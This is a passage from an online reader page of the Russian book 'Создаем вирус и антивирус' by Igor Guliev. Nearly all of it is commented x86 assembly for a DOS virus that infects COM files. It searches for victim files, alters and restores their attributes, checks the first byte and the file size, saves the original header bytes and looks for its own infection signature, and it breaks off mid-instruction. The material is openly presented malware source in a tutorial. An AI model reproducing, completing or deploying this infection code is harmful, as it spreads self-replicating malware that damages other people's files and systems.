Создаем вирус и антивирус. Игорь Гульев

Читать онлайн книгу.

Создаем вирус и антивирус - Игорь Гульев


Скачать книгу
ptr cs:[101h],al

      mov al,[bp+(offset bytes_3[2]–offset MySelf)]

      mov byte ptr cs:[102h],al

      ;Дальнейшая задача вируса – найти новую жертву.

      ;Для этого используется функция 4Eh (Найти первый файл).

      ;Ищем файл с любыми атрибутами

      Find_First:

      ;Ищем первый файл по шаблону имени

      mov ah,4Eh

      mov dx,offset fname–offset myself

      add dx,bp

      mov cx,00100111b

      int 21h

      ;Если файл найден – переходим к смене атрибутов, иначе выходим

      ;из вируса (здесь нет подходящих для заражения файлов)

      jnc attributes

      jmp exit

      attributes:

      ;Читаем оригинальные атрибуты файла

      mov ax,4300h

      mov dx,9Eh ;Адрес имени файла

      int 21h

      ;Сохраняем оригинальные атрибуты файла

      push cx

      ;Устанавливаем новые атрибуты файла

      mov ax,4301h

      mov dx,9Eh ;Адрес имени файла

      mov cx,20h

      int 21h

      ;Переходим к открытию файла

      jmp Open

      ;Ищем следующий файл, так как предыдущий не подходит

      Find_Next:

      ;Восстанавливаем оригинальные атрибуты файла

      mov ax,4301h

      mov dx,9Eh ;Адрес имени файла

      pop cx

      int 21h

      ;Закрываем файл

      mov ah,3Eh

      int 21h

      ;Ищем следующий файл

      mov ah,4Fh

      int 21h

      ;Если файл найден – переходим к смене атрибутов, иначе выходим

      ;из вируса (здесь нет подходящих для заражения файлов)

      jnc attributes

      jmp exit

      ;Открываем файл

      Open:

      mov ax,3D02h

      mov dx,9Eh

      int 21h

      ;Если при открытии файла ошибок не произошло –

      ;переходим к чтению, иначе выходим из вируса

      jnc See_Him

      jmp exit

      ;Читаем первый байт файла

      See_Him:

      xchg bx,ax

      mov ah,3Fh

      mov dx,offset buf–offset myself

      add dx,bp

      xor cx,cx ;CX=0

      inc cx ;(увеличение на 1) CX=1

      int 21h

      ;Сравниваем. Если первый байт файла

      ;не E9h, то переходим к поиску следующего файла –

      ;этот для заражения не подходит

      cmp byte ptr [bp+(offset buf–offset myself)],0E9h

      jne find_next

      ;Переходим в начало файла

      mov ax,4200h

      xor cx,cx

      xor dx,dx

      int 21h

      ;Читаем первые три байта файла в тело вируса

      See_Him2:

      mov ah,3Fh

      mov dx,offset bytes_3–offset myself

      add dx,bp

      mov cx,3

      int 21h

      ;Получаем длину файла, для чего переходим в конец файла

      Testik:

      mov ax,4202h

      xor cx,cx

      xor dx,dx

      int 21h

      Size_test:

      ;Сохраняем полученную длину файла

      mov [bp+(offset flen−offset MySelf)],ax

      ;Проверяем длину файла

      cmp ax,64000

      ;Если файл не больше 64000 байт,– переходим

      ;к следующей проверке,

      ;иначе ищем другой файл (этот слишком велик для заражения)

      jna rich_test

      jmp find_next

      ;Проверим, не заражен ли файл.

      ;Для этого проверим сигнатуру вируса

      Rich_test:

      ;Переходим в конец файла (на последний байт)

      mov ax,4200h

      xor cx,cx

      mov dx,[bp+(offset flen−offset MySelf)]

      dec dx

      int 21h

      ;Читаем сигнатуру вируса

      Read:

      mov ah,3Fh

      xor cx,cx

      inc cx

      mov dx,offset bytik–offset myself

      add


Скачать книгу